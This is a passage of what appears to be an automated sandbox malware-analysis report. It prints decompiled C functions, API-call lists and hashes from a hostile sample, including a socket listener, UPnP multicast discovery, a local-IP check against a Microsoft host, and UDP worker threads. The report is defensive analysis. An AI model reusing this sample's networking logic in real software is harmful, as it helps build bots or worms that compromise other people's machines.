                                                                                                                                                                                                                                                                                                                                                      0x0040eb31
                                                                                                                                                                                                                                                                                                                                                      0x0040eb41
                                                                                                                                                                                                                                                                                                                                                      0x0040eb46
                                                                                                                                                                                                                                                                                                                                                      0x0040eb47
                                                                                                                                                                                                                                                                                                                                                      0x0040eb4a
                                                                                                                                                                                                                                                                                                                                                      0x0040eb31
                                                                                                                                                                                                                                                                                                                                                      0x0040eb5f
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6e
                                                                                                                                                                                                                                                                                                                                                      0x0040eb6e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetSystemInfo.KERNELBASE(?), ref: 0040EA13
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(00000020), ref: 0040EA27
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EA35
                                                                                                                                                                                                                                                                                                                                                      • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EA4E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040B9E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040B9FE
                                                                                                                                                                                                                                                                                                                                                      • WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EA7B
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32 ref: 0040EAA1
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 0040EAD1
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,00000004,00000010), ref: 0040EAE7
                                                                                                                                                                                                                                                                                                                                                      • listen.WS2_32(?,7FFFFFFF), ref: 0040EAFF
                                                                                                                                                                                                                                                                                                                                                      • WSACreateEvent.WS2_32 ref: 0040EB0A
                                                                                                                                                                                                                                                                                                                                                      • WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EB1E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BAB4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: CreateThread.KERNELBASE ref: 0040BB0F
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BB4C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BB57
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: DuplicateHandle.KERNEL32(00000000), ref: 0040BB5E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA90: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BB72
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1603358586-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: bf8043ffee6c481abcaea4840965b5a8d31b8ec85f3d63b4d022f6d355487f1d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 29ede9370597d42b44937fb40e685a0c9b27d964348c1a69c07157101753e0da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bf8043ffee6c481abcaea4840965b5a8d31b8ec85f3d63b4d022f6d355487f1d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C3417270640702BBD320DF799C4AF5677B4AF44710F108A29F569E62D0E7B8E454C799
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 284 40c470-40c497 socket 285 40c5d1-40c5d5 284->285 286 40c49d-40c565 htons inet_addr setsockopt call 409430 bind lstrlenA sendto ioctlsocket 284->286 287 40c5d7-40c5dd 285->287 288 40c5df-40c5e5 285->288 291 40c56b-40c572 286->291 287->288 292 40c574-40c583 call 40c380 291->292 293 40c5c5-40c5c9 call 4094f0 291->293 296 40c588-40c590 292->296 297 40c5ce 293->297 298 40c592 296->298 299 40c594-40c5c3 call 408a50 296->299 297->285 298->293 299->291
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040C48A
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(0000076C), ref: 0040C4C0
                                                                                                                                                                                                                                                                                                                                                      • inet_addr.WS2_32(239.255.255.250), ref: 0040C4CF
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C4ED
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: htons.WS2_32(00000050), ref: 0040945D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: socket.WS2_32(00000002,00000001,00000000), ref: 0040947D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: connect.WS2_32(000000FF,?,00000010), ref: 00409496
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409430: getsockname.WS2_32(000000FF,?,00000010), ref: 004094C8
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(000000FF,?,00000010), ref: 0040C523
                                                                                                                                                                                                                                                                                                                                                      • lstrlenA.KERNEL32(00410558,00000000,?,00000010), ref: 0040C53C
                                                                                                                                                                                                                                                                                                                                                      • sendto.WS2_32(000000FF,00410558,00000000), ref: 0040C54B
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C565
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C3CE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: Sleep.KERNELBASE(000003E8), ref: 0040C3DE
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C3FB
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C411
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040C380: StrChrA.SHLWAPI(?,0000000D), ref: 0040C43E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
                                                                                                                                                                                                                                                                                                                                                      • String ID: 239.255.255.250
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 726339449-2186272203
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 202f64c4e181b62fce85c1546f08c646ba98422403ac108603a6bdb7be7f6b63
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4e43f78864f74199b6524c038bac31db25b540ee7daf9e396398e7af886f919c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 202f64c4e181b62fce85c1546f08c646ba98422403ac108603a6bdb7be7f6b63
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E1410AB4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290D7B55A44CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D790 Relevance: 9.1, APIs: 6, Instructions: 77networkthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 44%
                                                                                                                                                                                                                                                                                                                                                      			E0040D790(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t26;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E004089F0(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30); // executed
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DBF0(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1); // executed
					__imp__#2( *(_t31 + 8),  &_v52, 0x10); // executed
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						_t26 = CreateThread(0, 0, E0040D9C0, _t31, 0, 0); // executed
						 *(_t31 + 0x14) = _t26;
						goto L8;
					}
					E0040DBF0(_t31, _t38);
					return 0;
				}
			}






















                                                                                                                                                                                                                                                                                                                                                      0x0040d790
                                                                                                                                                                                                                                                                                                                                                      0x0040d790
                                                                                                                                                                                                                                                                                                                                                      0x0040d798
                                                                                                                                                                                                                                                                                                                                                      0x0040d884
                                                                                                                                                                                                                                                                                                                                                      0x0040d7a6
                                                                                                                                                                                                                                                                                                                                                      0x0040d7b5
                                                                                                                                                                                                                                                                                                                                                      0x0040d7bb
                                                                                                                                                                                                                                                                                                                                                      0x0040d7c1
                                                                                                                                                                                                                                                                                                                                                      0x0040d7c8
                                                                                                                                                                                                                                                                                                                                                      0x0040d7d4
                                                                                                                                                                                                                                                                                                                                                      0x0040d7d7
                                                                                                                                                                                                                                                                                                                                                      0x0040d7dd
                                                                                                                                                                                                                                                                                                                                                      0x0040d7e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d7e5
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d7ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d87e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d880
                                                                                                                                                                                                                                                                                                                                                      0x0040d7f6
                                                                                                                                                                                                                                                                                                                                                      0x0040d7fa
                                                                                                                                                                                                                                                                                                                                                      0x0040d7fe
                                                                                                                                                                                                                                                                                                                                                      0x0040d802
                                                                                                                                                                                                                                                                                                                                                      0x0040d807
                                                                                                                                                                                                                                                                                                                                                      0x0040d811
                                                                                                                                                                                                                                                                                                                                                      0x0040d815
                                                                                                                                                                                                                                                                                                                                                      0x0040d81a
                                                                                                                                                                                                                                                                                                                                                      0x0040d829
                                                                                                                                                                                                                                                                                                                                                      0x0040d82e
                                                                                                                                                                                                                                                                                                                                                      0x0040d833
                                                                                                                                                                                                                                                                                                                                                      0x0040d83c
                                                                                                                                                                                                                                                                                                                                                      0x0040d84d
                                                                                                                                                                                                                                                                                                                                                      0x0040d856
                                                                                                                                                                                                                                                                                                                                                      0x0040d872
                                                                                                                                                                                                                                                                                                                                                      0x0040d875
                                                                                                                                                                                                                                                                                                                                                      0x0040d87b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d87b
                                                                                                                                                                                                                                                                                                                                                      0x0040d858
                                                                                                                                                                                                                                                                                                                                                      0x0040d863
                                                                                                                                                                                                                                                                                                                                                      0x0040d863

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D7C8
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040D7D7
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00009E34), ref: 0040D81A
                                                                                                                                                                                                                                                                                                                                                      • setsockopt.WS2_32(?,0000FFFF), ref: 0040D83C
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,00000004,00000010), ref: 0040D84D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE ref: 0040D875
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4174406920-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d10df00427aae3aa0e32b55205a497ca71f953105d1d1aeda277031c6e68fac
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2c8017b3a3cee6b39d43f74eaf8bde73116b2d39b786a202065b94a306b2e908
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d10df00427aae3aa0e32b55205a497ca71f953105d1d1aeda277031c6e68fac
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6021B5B5A44301AFE710EFB48C8AB5776A0AF44710F50C979FA14DB2C2D7F8C948876A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 16%
                                                                                                                                                                                                                                                                                                                                                      			E00409430() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E004093F0("www.update.microsoft.com"); // executed
				_v20 = _t28;
				__imp__#23(2, 1, 0); // executed
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10); // executed
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48); // executed
						_v8 = _v40;
					}
					E004094F0(_v28); // executed
				}
				return _v8;
			}




















                                                                                                                                                                                                                                                                                                                                                      0x00409436
                                                                                                                                                                                                                                                                                                                                                      0x0040943f
                                                                                                                                                                                                                                                                                                                                                      0x00409445
                                                                                                                                                                                                                                                                                                                                                      0x00409448
                                                                                                                                                                                                                                                                                                                                                      0x0040944b
                                                                                                                                                                                                                                                                                                                                                      0x0040944e
                                                                                                                                                                                                                                                                                                                                                      0x00409457
                                                                                                                                                                                                                                                                                                                                                      0x0040945d
                                                                                                                                                                                                                                                                                                                                                      0x00409463
                                                                                                                                                                                                                                                                                                                                                      0x0040946c
                                                                                                                                                                                                                                                                                                                                                      0x00409474
                                                                                                                                                                                                                                                                                                                                                      0x0040947d
                                                                                                                                                                                                                                                                                                                                                      0x00409483
                                                                                                                                                                                                                                                                                                                                                      0x0040948a
                                                                                                                                                                                                                                                                                                                                                      0x0040948e
                                                                                                                                                                                                                                                                                                                                                      0x00409496
                                                                                                                                                                                                                                                                                                                                                      0x0040949e
                                                                                                                                                                                                                                                                                                                                                      0x004094a2
                                                                                                                                                                                                                                                                                                                                                      0x004094a8
                                                                                                                                                                                                                                                                                                                                                      0x004094ab
                                                                                                                                                                                                                                                                                                                                                      0x004094ae
                                                                                                                                                                                                                                                                                                                                                      0x004094b1
                                                                                                                                                                                                                                                                                                                                                      0x004094b5
                                                                                                                                                                                                                                                                                                                                                      0x004094c8
                                                                                                                                                                                                                                                                                                                                                      0x004094d1
                                                                                                                                                                                                                                                                                                                                                      0x004094d1
                                                                                                                                                                                                                                                                                                                                                      0x004094d8
                                                                                                                                                                                                                                                                                                                                                      0x004094dd
                                                                                                                                                                                                                                                                                                                                                      0x004094e6

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • htons.WS2_32(00000050), ref: 0040945D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004093F0: inet_addr.WS2_32(00409471), ref: 004093FA
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 004093F0: gethostbyname.WS2_32(?), ref: 0040940D
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000000), ref: 0040947D
                                                                                                                                                                                                                                                                                                                                                      • connect.WS2_32(000000FF,?,00000010), ref: 00409496
                                                                                                                                                                                                                                                                                                                                                      • getsockname.WS2_32(000000FF,?,00000010), ref: 004094C8
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • www.update.microsoft.com, xrefs: 00409467
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID: www.update.microsoft.com
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4063137541-1705189816
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 918a28a66e208ccf73a1bf4212174c4106810b8284b08010741d487916e97b75
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 95a71ca33063cdb158bfe8a4e5dd4910bfcb1506d7a5175e69760843b0b70449
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 918a28a66e208ccf73a1bf4212174c4106810b8284b08010741d487916e97b75
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 20213EB4E142099BCB04DFE8D946AEFBBB4AF4C300F104169E509F3391E7B45A45DB69
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040A760 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 58%
                                                                                                                                                                                                                                                                                                                                                      			E0040A760(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406441
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx); // executed
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406441
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406441
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040a76f
                                                                                                                                                                                                                                                                                                                                                      0x0040a76f
                                                                                                                                                                                                                                                                                                                                                      0x0040a773
                                                                                                                                                                                                                                                                                                                                                      0x0040a77b
                                                                                                                                                                                                                                                                                                                                                      0x0040a785
                                                                                                                                                                                                                                                                                                                                                      0x0040a789
                                                                                                                                                                                                                                                                                                                                                      0x0040a791
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040a795
                                                                                                                                                                                                                                                                                                                                                      0x0040a79e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CryptAcquireContextW.ADVAPI32(Ad@,00000000,00000000,00000001,F0000040,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A773
                                                                                                                                                                                                                                                                                                                                                      • CryptGenRandom.ADVAPI32(Ad@,?,00000000,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A789
                                                                                                                                                                                                                                                                                                                                                      • CryptReleaseContext.ADVAPI32(Ad@,00000000,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A795
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                                                                                                                                                                                                                                                      • String ID: Ad@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1815803762-4183085526
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 89528bad6447d7c1c440445485b2c33d4f9dd5ae0edcff583990537681d61b4e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D2E01275650308BBDB14CFD1EC49F9A777CAB48750F108154B70997284DAB5EA408768
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DC60 Relevance: 6.1, APIs: 4, Instructions: 59networkthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 22%
                                                                                                                                                                                                                                                                                                                                                      			E0040DC60(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t20;
				void* _t24;

				_t27 = __edi;
				_t24 = E004089F0(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11); // executed
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DBF0(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10); // executed
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						_t20 = CreateThread(0, 0, E0040D9C0, _t24, 0, 0); // executed
						 *(_t24 + 0x14) = _t20;
						goto L6;
					} else {
						E0040DBF0(_t24, _t27);
						return 0;
					}
				}
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040dc60
                                                                                                                                                                                                                                                                                                                                                      0x0040dc72
                                                                                                                                                                                                                                                                                                                                                      0x0040dc78
                                                                                                                                                                                                                                                                                                                                                      0x0040dc7e
                                                                                                                                                                                                                                                                                                                                                      0x0040dc85
                                                                                                                                                                                                                                                                                                                                                      0x0040dc91
                                                                                                                                                                                                                                                                                                                                                      0x0040dc94
                                                                                                                                                                                                                                                                                                                                                      0x0040dc9a
                                                                                                                                                                                                                                                                                                                                                      0x0040dca0
                                                                                                                                                                                                                                                                                                                                                      0x0040dca2
                                                                                                                                                                                                                                                                                                                                                      0x0040dca7
                                                                                                                                                                                                                                                                                                                                                      0x0040dca7
                                                                                                                                                                                                                                                                                                                                                      0x0040dcab
                                                                                                                                                                                                                                                                                                                                                      0x0040dd0a
                                                                                                                                                                                                                                                                                                                                                      0x0040dd10
                                                                                                                                                                                                                                                                                                                                                      0x0040dcad
                                                                                                                                                                                                                                                                                                                                                      0x0040dcaf
                                                                                                                                                                                                                                                                                                                                                      0x0040dcb3
